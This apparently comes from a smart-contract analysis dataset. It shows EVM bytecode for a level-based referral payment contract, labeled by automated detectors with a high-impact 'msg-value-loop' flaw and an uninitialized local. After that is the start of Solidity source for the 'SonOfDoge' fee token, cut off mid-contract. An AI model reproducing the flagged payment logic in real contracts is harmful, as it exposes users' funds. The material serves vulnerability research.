060405180910390f35b348015610a1f57600080fd5b50610a6260048036036020811015610a3657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611eb6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610aa5578082015181840152602081019050610a8a565b505050509050019250505060405180910390f35b348015610ac557600080fd5b50610b0860048036036020811015610adc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f50565b604051808381526020018281526020019250505060405180910390f35b348015610b3157600080fd5b50610b5e60048036036020811015610b4857600080fd5b8101908080359060200190929190505050611f74565b6040518082815260200191505060405180910390f35b348015610b8057600080fd5b50610bc360048036036020811015610b9757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f8c565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c06578082015181840152602081019050610beb565b505050509050019250505060405180910390f35b348015610c2657600080fd5b50610c6960048036036020811015610c3d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612026565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cb757600080fd5b50610ce460048036036020811015610cce57600080fd5b8101908080359060200190929190505050612504565b6040518082815260200191505060405180910390f35b348015610d0657600080fd5b50610d4960048036036020811015610d1d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061251c565b604051808381526020018281526020019250505060405180910390f35b348015610d7257600080fd5b50610dbf60048036036040811015610d8957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061289f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e0d57600080fd5b50610e5060048036036020811015610e2457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a2a565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610e93578082015181840152602081019050610e78565b505050509050019250505060405180910390f35b348015610eb357600080fd5b50610ee060048036036020811015610eca57600080fd5b8101908080359060200190929190505050612ac4565b6040518082815260200191505060405180910390f35b348015610f0257600080fd5b50610f4560048036036020811015610f1957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612ae4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610f88578082015181840152602081019050610f6d565b505050509050019250505060405180910390f35b348015610fa857600080fd5b50610fb1612b7e565b6040518082815260200191505060405180910390f35b348015610fd357600080fd5b5061101660048036036020811015610fea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b84565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561105957808201518184015260208101905061103e565b505050509050019250505060405180910390f35b34801561107957600080fd5b506110a66004803603602081101561109057600080fd5b8101908080359060200190929190505050612c54565b6040518082815260200191505060405180910390f35b3480156110c857600080fd5b5061110b600480360360208110156110df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c6c565b6040518082815260200191505060405180910390f35b61114d6004803603602081101561113757600080fd5b8101908080359060200190929190505050612c8a565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541461122c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5573657220697320616c7265616479207265676973746572656400000000000081525060200191505060405180910390fd5b8060008111801561123f57506007548111155b6112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f496e76616c69642072656665727265722049440000000000000000000000000081525060200191505060405180910390fd5b6001600a600082815260200190815260200160002054341461133b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b600060019050600254600560006006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805490501061144357600560006114026006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612026565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015493505b60076000815480929190600101919050555060405180606001604052806007548152602001858152602001600060405190808252806020026020018201604052801561149e5781602001602082028036833780820191505090505b50815250600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002019080519060200190611511929190614461565b509050503360066000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061157281612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002081905550600560006006600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506116ab8133613032565b6006600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fefffd168f9bcad9af2b2c24e22e39380303bafa6b19dc2438263c57dfdc0b28c426040518082815260200191505060405180910390a350505050565b600042611757836001611b9c565b1015611766576000905061185a565b42611772836002611b9c565b1015611781576001905061185a565b4261178d836003611b9c565b101561179c576002905061185a565b426117a8836004611b9c565b10156117b7576003905061185a565b426117c3836005611b9c565b10156117d2576004905061185a565b426117de836006611b9c565b10156117ed576005905061185a565b426117f9836007611b9c565b1015611808576006905061185a565b42611814836008611b9c565b1015611823576007905061185a565b4261182f836009611b9c565b101561183e576008905061185a565b4261184a83600a611b9c565b1015611859576009905061185a565b5b919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018054806020026020016040519081016040528092919081815260200182805480156118ed57602002820191906000526020600020905b8154815260200190600101908083116118d9575b50505050509050919050565b60096020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030180548060200260200160405190810160405280929190818152602001828054801561199f57602002820191906000526020600020905b81548152602001906001019080831161198b575b50505050509050919050565b600e6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611a8d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611a43575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611b5d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b13575b50505050509050919050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600083815260200190815260200160002054905092915050565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015611cbe57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611c74575b50505050509050919050565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611d5857602002820191906000526020600020905b815481526020019060010190808311611d44575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401805480602002602001604051908101604052809291908181526020018280548015611df257602002820191906000526020600020905b815481526020019060010190808311611dde575b50505050509050919050565b600d6020528060005260406000206000915090508060000154905081565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015611eaa57602002820191906000526020600020905b815481526020019060010190808311611e96575b50505050509050919050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015611f4457602002820191906000526020600020905b815481526020019060010190808311611f30575b50505050509050919050565b60056020528060005260406000206000915090508060000154908060010154905082565b600a6020528060005260406000206000915090505481565b6060600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040180548060200260200160405190810160405280929190818152602001828054801561201a57602002820191906000526020600020905b815481526020019060010190808311612006575b50505050509050919050565b6000600254600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561207f578190506124ff565b6120876144eb565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106120d557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000610660811061210e57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160018154811061219357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600161066081106121cc57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600080600090505b613ffe81101561245557600254600560008584610660811061222957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020180549050101561228e578281610660811061228257fe5b60200201519150612455565b611fff811061229c57612448565b60056000848361066081106122ad57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000815481106122fb57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360026001840102610660811061233957fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008483610660811061238157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016001815481106123cf57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168360016002600185010201610660811061241057fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061220b565b50600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5265666572726572206e6f7420666f756e64000000000000000000000000000081525060200191505060405180910390fd5b80925050505b919050565b60086020528060005260406000206000915090505481565b6000804261252b846001611b9c565b1015612582576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261258e846002611b9c565b10156125e5576002600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426125f1846003611b9c565b1015612648576003600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612654846004611b9c565b10156126ab576004600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426126b7846005611b9c565b101561270d5760058060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612719846006611b9c565b1015612770576006600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b4261277c846007611b9c565b10156127d3576007600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b426127df846008611b9c565b1015612836576008600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b42612842846009611b9c565b1015612899576009600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001548191509150915061289a565b5b915091565b600080821115806128dc5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156128e957829050612a24565b3073ffffffffffffffffffffffffffffffffffffffff1663cf40ae2860066000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600185036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156129e657600080fd5b505afa1580156129fa573d6000803e3d6000fd5b505050506040513d6020811015612a1057600080fd5b810190808051906020019092919050505090505b92915050565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805480602002602001604051908101604052809291908181526020018280548015612ab857602002820191906000526020600020905b815481526020019060010190808311612aa4575b50505050509050919050565b60006005821015612ad9576003549050612adf565b60045490505b919050565b6060600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301805480602002602001604051908101604052809291908181526020018280548015612b7257602002820191906000526020600020905b815481526020019060010190808311612b5e575b50505050509050919050565b60075481565b6060600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201805480602002602001604051908101604052809291908181526020018280548015612c4857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612bfe575b50505050509050919050565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090508060000154905081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541415612d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f5573657220646f6573206e6f742065786973740000000000000000000000000081525060200191505060405180910390fd5b80600081118015612d5657506001548111155b612dc8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e76616c6964206c6576656c20656e7465726564000000000000000000000081525060200191505060405180910390fd5b81600a6000828152602001908152602001600020543414612e51576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f496e76616c6964206c6576656c20616d6f756e742073656e740000000000000081525060200191505060405180910390fd5b60006001840390505b6000811115612ef05742612e6e3383611b9c565b1015612ee2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4275792070726576696f7573206c6576656c206669727374000000000000000081525060200191505060405180910390fd5b808060019003915050612e5a565b506000612efd3385611b9c565b1415612f6a57612f0c83612ac4565b4201600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600085815260200190815260200160002081905550612fd4565b612f7383612ac4565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000858152602001908152602001600020600082825401925050819055505b612fde8333613032565b823373ffffffffffffffffffffffffffffffffffffffff167faa9c5ea0815809ae6234afa73aef7d42ef76537c06d6ce8f00f38c9c4dd94c97426040518082815260200191505060405180910390a3505050565b60008290506000613043838361289f565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561309f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b6000600b600086815260200190815260200160002054905060008090506000803490506000600190505b848111613cab576130da888261289f565b9550831561344557600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d8152602001908152602001600020543403038161334157fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016133b387611749565b908060018154018082558091505060019003906000526020600020016000909190919091505560009350883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f41daddfd368d96253845e0cdc137e41d708bf217e034d8a5265fa3b14ff8bb2160006040518082815260200191505060405180910390a45b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156134e857506000600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008b81526020019081526020016000205414806134e75750426134e5878b611b9c565b105b5b1561350157600193508480600101955050859250613c9e565b60009350600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561355f576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1695505b8573ffffffffffffffffffffffffffffffffffffffff166108fc600b60008c815260200190815260200160002054600960008d815260200190815260200160002054600860008e815260200190815260200160002054340303816135bf57fe5b049081150290604051600060405180830381858888f1935050505015613c9d57600b60008a815260200190815260200160002054600960008b815260200190815260200160002054600860008c8152602001908152602001600020543403038161362557fe5b0482039150600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e81526020019081526020016000205403038161389c57fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201869080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600b60008b815260200190815260200160002054600960008c815260200190815260200160002054600860008d815260200190815260200160002054600a60008e815260200190815260200160002054030381613b3557fe5b049080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401613ba787611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501819080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b5b80806001019150506130c9565b50600060066000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166108fc600960008c8152602001908152602001600020549081150290604051600060405180830381858888f193505050501561437357600960008a81526020019081526020016000205482039150600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600960008b8152602001908152602001600020549080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040161427c82611749565b9080600181540180825580915050600190039060005260206000200160009091909190915055600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160019080600181540180825580915050600190039060005260206000200160009091909190915055883373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501561445657883373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7630b7dd8ad8bdf6478cf39a9cedd305bc3e7505c84289b12c4045de3cf05db7426040518082815260200191505060405180910390a45b505050505050505050565b8280548282559060005260206000209081019282156144da579160200282015b828111156144d95782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190614481565b5b5090506144e7919061450f565b5090565b6040518061cc00016040528061066090602082028036833780820191505090505090565b61454f91905b8082111561454b57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101614515565b5090565b9056fea264697066735822122054081d0108d16c630fff7873850c04da6665db0a6e718fa1c100c486e98bdf5d64736f6c63430006030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,397 |
0x64fcce2348defcf6ae47a5abc29802da5705e597
|
/**
*Submitted for verification at Etherscan.io on 2021-12-06
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SonOfDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x9dAC2ac038513B402BE68Bdd967C080631050727);
address payable private _feeAddrWallet2 = payable(0x9dAC2ac038513B402BE68Bdd967C080631050727);
string private constant _name = "Son Of Doge";
string private constant _symbol = "SODOGE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
